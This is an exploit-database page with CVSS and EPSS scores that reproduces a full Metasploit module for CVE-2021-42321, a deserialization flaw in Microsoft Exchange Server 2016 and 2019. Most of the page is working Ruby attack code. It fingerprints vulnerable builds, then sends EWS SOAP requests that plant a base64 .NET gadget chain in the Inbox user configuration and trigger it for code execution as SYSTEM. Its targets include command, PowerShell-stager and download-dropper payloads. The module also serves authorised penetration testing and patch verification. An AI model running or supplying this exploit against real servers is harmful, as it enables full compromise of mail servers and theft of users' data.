Lucene search

K
zdtMetasploit1337DAY-ID-37423
HistoryFeb 26, 2022 - 12:00 a.m.

Microsoft Exchange Server Remote Code Execution Exploit

2022-02-2600:00:00
metasploit
0day.today
2354

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.965 High

EPSS

Percentile

99.6%

This Metasploit module allows remote attackers to execute arbitrary code on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11 prior to Security Update 2, Exchange Server 2016 CU21 prior to Security Update 3, and Exchange Server 2016 CU22 prior to Security Update 2. Note that authentication is required to exploit this vulnerability. The specific flaw exists due to the fact that the deny list for the ChainedSerializationBinder had a typo whereby an entry was typo’d as System.Security.ClaimsPrincipal instead of the proper value of System.Security.Claims.ClaimsPrincipal. By leveraging this vulnerability, attacks can bypass the ChainedSerializationBinder’s deserialization deny list and execute code as NT AUTHORITY\SYSTEM. Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019, and Exchange Server 2016 CU22 SU0 on Windows Server 2016.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'nokogiri'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE',
        'Description' => %q{
          This vulnerability allows remote attackers to execute arbitrary code
          on Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11
          prior to Security Update 2, Exchange Server 2016 CU21 prior to
          Security Update 3, and Exchange Server 2016 CU22 prior to
          Security Update 2.

          Note that authentication is required to exploit this vulnerability.

          The specific flaw exists due to the fact that the deny list for the
          ChainedSerializationBinder had a typo whereby an entry was typo'd as
          System.Security.ClaimsPrincipal instead of the proper value of
          System.Security.Claims.ClaimsPrincipal.

          By leveraging this vulnerability, attacks can bypass the
          ChainedSerializationBinder's deserialization deny list
          and execute code as NT AUTHORITY\SYSTEM.

          Tested against Exchange Server 2019 CU11 SU0 on Windows Server 2019,
          and Exchange Server 2016 CU22 SU0 on Windows Server 2016.
        },
        'Author' => [
          'pwnforsp', # Original Bug Discovery
          'zcgonvh', # Of 360 noah lab, Original Bug Discovery
          'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild
          'Microsoft Security Response Center', # Discovery of exploitation in the wild
          'peterjson', # Writeup
          'testanull', # PoC Exploit
          'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D
        ],
        'References' => [
          ['CVE', '2021-42321'],
          ['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],
          ['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],
          ['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],
          ['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],
          ['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852']
        ],
        'DisclosureDate' => '2021-12-09',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'HttpClientTimeout' => 5,
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169
            CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.
          ]
        }
      )
    )
    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as', '']),
      OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server', ''])
    ])
  end

  def post_auth?
    true
  end

  def username
    datastore['HttpUsername']
  end

  def password
    datastore['HttpPassword']
  end

  def vuln_builds
    # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
    [
      [Rex::Version.new('15.1.2308.8'), Rex::Version.new('15.1.2308.20')], # Exchange Server 2016 CU21
      [Rex::Version.new('15.1.2375.7'), Rex::Version.new('15.1.2375.17')], # Exchange Server 2016 CU22
      [Rex::Version.new('15.2.922.7'), Rex::Version.new('15.2.922.19')], # Exchange Server 2019 CU10
      [Rex::Version.new('15.2.986.5'), Rex::Version.new('15.2.986.14')] # Exchange Server 2019 CU11
    ]
  end

  def check
    # First lets try a cheap way of doing this via a leak of the X-OWA-Version header.
    # If we get this we know the version number for sure and we can skip a lot of leg work.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/owa/service')
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    if res.headers['X-OWA-Version']
      build = res.headers['X-OWA-Version']
      if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }
        return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")
      else
        return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")
      end
    end

    # Next, determine if we are up against an older version of Exchange Server where
    # the /owa/auth/logon.aspx page gives the full version. Recent versions of Exchange
    # give only a partial version without the build number.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    if res.code == 200 && ((%r{/owa/(?<build>\d+\.\d+\.\d+\.\d+)} =~ res.body) || (%r{/owa/auth/(?<build>\d+\.\d+\.\d+\.\d+)} =~ res.body))
      if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }
        return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")
      else
        return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")
      end
    end

    # Next try @tseller's way and try /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application
    # URL which if successful should provide some XML with entries like the following:
    #
    # <assemblyIdentity name="microsoft.exchange.ediscovery.exporttool.application"
    # version="15.2.986.5" publicKeyToken="b1d1a6c45aa418ce" language="neutral"
    # processorArchitecture="msil" xmlns="urn:schemas-microsoft-com:asm.v1" />
    #
    # This only works on Exchange Server 2013 and later and may not always work, but if it
    # does work it provides the full version number so its a nice strategy.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/ecp/current/exporttool/microsoft.exchange.ediscovery.exporttool.application')
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    if res.code == 200 && res.body =~ /name="microsoft.exchange.ediscovery.exporttool" version="\d+\.\d+\.\d+\.\d+"/
      build = res.body.match(/name="microsoft.exchange.ediscovery.exporttool" version="(\d+\.\d+\.\d+\.\d+)"/)[1]
      if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }
        return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")
      else
        return CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")
      end
    end

    # Finally, try a variation on the above and use a well known trick of grabbing /owa/auth/logon.aspx
    # to get a partial version number, then use the URL at /ecp/<version here>/exporttool/. If we get a 200
    # OK response, we found the target version number, otherwise we didn't find it.
    #
    # Props go to @jmartin-r7 for improving my original code for this and suggestion the use of
    # canonical_segments to make this close to the Rex::Version code format. Also for noticing that
    # version_range is a Rex::Version object already and cleaning up some of my original code to simplify
    # things on this premise.

    vuln_builds.each do |version_range|
      return CheckCode::Unknown('Range provided is not iterable') unless version_range[0].canonical_segments[0..-2] == version_range[1].canonical_segments[0..-2]

      prepend_range = version_range[0].canonical_segments[0..-2]
      lowest_patch = version_range[0].canonical_segments.last
      while Rex::Version.new((prepend_range.dup << lowest_patch).join('.')) <= version_range[1]
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, "/ecp/#{build}/exporttool/")
        )
        unless res
          return CheckCode::Unknown('Target did not respond to check.')
        end
        if res && res.code == 200
          return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")
        end

        lowest_patch += 1
      end

      CheckCode::Unknown('Could not determine the build number of the target Exchange Server.')
    end
  end

  def exploit
    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  end

  def execute_command(cmd, _opts = {})
    # Get the user's inbox folder's ID and change key ID.
    print_status("Getting the user's inbox folder's ID and ChangeKey ID...")
    xml_getfolder_inbox = %(<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Header>
      <t:RequestServerVersion Version="Exchange2013" />
      </soap:Header>
      <soap:Body>
      <m:GetFolder>
        <m:FolderShape>
        <t:BaseShape>AllProperties</t:BaseShape>
        </m:FolderShape>
        <m:FolderIds>
        <t:DistinguishedFolderId Id="inbox" />
        </m:FolderIds>
      </m:GetFolder>
      </soap:Body>
    </soap:Envelope>)

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
        'data' => xml_getfolder_inbox,
        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
      }
    )
    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?

    unless res&.body
      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
    end

    xml_getfolder = res.get_xml_document
    xml_getfolder.remove_namespaces!
    xml_tag = xml_getfolder.xpath('//FolderId')
    if xml_tag.empty?
      fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')
    end
    unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')
      fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')
    end
    change_key_val = xml_tag.attribute('ChangeKey').value
    folder_id_val = xml_tag.attribute('Id').value
    print_good("ChangeKey value for Inbox folder is #{change_key_val}")
    print_good("ID value for Inbox folder is #{folder_id_val}")

    # Delete the user configuration object that currently on the Inbox folder.
    print_status('Deleting the user configuration object associated with Inbox folder...')
    xml_delete_inbox_user_config = %(<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Header>
        <t:RequestServerVersion Version="Exchange2013" />
      </soap:Header>
      <soap:Body>
        <m:DeleteUserConfiguration>
          <m:UserConfigurationName Name="ExtensionMasterTable">
            <t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />
          </m:UserConfigurationName>
        </m:DeleteUserConfiguration>
      </soap:Body>
    </soap:Envelope>)

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
        'data' => xml_delete_inbox_user_config,
        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
      }
    )
    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?

    unless res&.body
      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
    end

    if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}
      print_good('Successfully deleted the user configuration object associated with the Inbox folder!')
    else
      print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')
      print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')
    end

    # Now to replace the deleted user configuration object with our own user configuration object.
    print_status('Creating the malicious user configuration object on the Inbox folder!')

    gadget_chain = Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: :ClaimsPrincipal, formatter: :BinaryFormatter))
    xml_malicious_user_config = %(<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Header>
        <t:RequestServerVersion Version="Exchange2013" />
      </soap:Header>
      <soap:Body>
        <m:CreateUserConfiguration>
          <m:UserConfiguration>
            <t:UserConfigurationName Name="ExtensionMasterTable">
              <t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" />
            </t:UserConfigurationName>
            <t:Dictionary>
              <t:DictionaryEntry>
                <t:DictionaryKey>
                  <t:Type>String</t:Type>
                  <t:Value>OrgChkTm</t:Value>
                </t:DictionaryKey>
                <t:DictionaryValue>
                  <t:Type>Integer64</t:Type>
                  <t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value>
                </t:DictionaryValue>
              </t:DictionaryEntry>
              <t:DictionaryEntry>
                <t:DictionaryKey>
                  <t:Type>String</t:Type>
                  <t:Value>OrgDO</t:Value>
                </t:DictionaryKey>
                <t:DictionaryValue>
                  <t:Type>Boolean</t:Type>
                  <t:Value>false</t:Value>
                </t:DictionaryValue>
              </t:DictionaryEntry>
            </t:Dictionary>
            <t:BinaryData>#{gadget_chain}</t:BinaryData>
          </m:UserConfiguration>
        </m:CreateUserConfiguration>
      </soap:Body>
    </soap:Envelope>)

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
        'data' => xml_malicious_user_config,
        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
      }
    )
    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?

    unless res&.body
      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
    end

    unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}
      fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')
    end

    print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')

    # Deserialize our object. If all goes well, you should now have SYSTEM :)
    print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')
    xml_get_client_access_token = %(<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Header>
        <t:RequestServerVersion Version="Exchange2013" />
      </soap:Header>
      <soap:Body>
        <m:GetClientAccessToken>
          <m:TokenRequests>
            <t:TokenRequest>
              <t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id>
              <t:TokenType>CallerIdentity</t:TokenType>
            </t:TokenRequest>
          </m:TokenRequests>
        </m:GetClientAccessToken>
      </soap:Body>
    </soap:Envelope>)

    res = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),
        'data' => xml_get_client_access_token,
        'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.
      }
    )
    fail_with(Failure::Unreachable, 'Connection failed') if res.nil?

    unless res&.body
      fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')
    end

    unless res.body =~ %r{<e:Message xmlns:e="http://schemas.microsoft.com/exchange/services/2006/errors">An internal server error occurred. The operation failed.</e:Message>}
      fail_with(Failure::UnexpectedReply, 'Did not recieve the expected internal server error upon deserialization!')
    end
  end
end

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

0.965 High

EPSS

Percentile

99.6%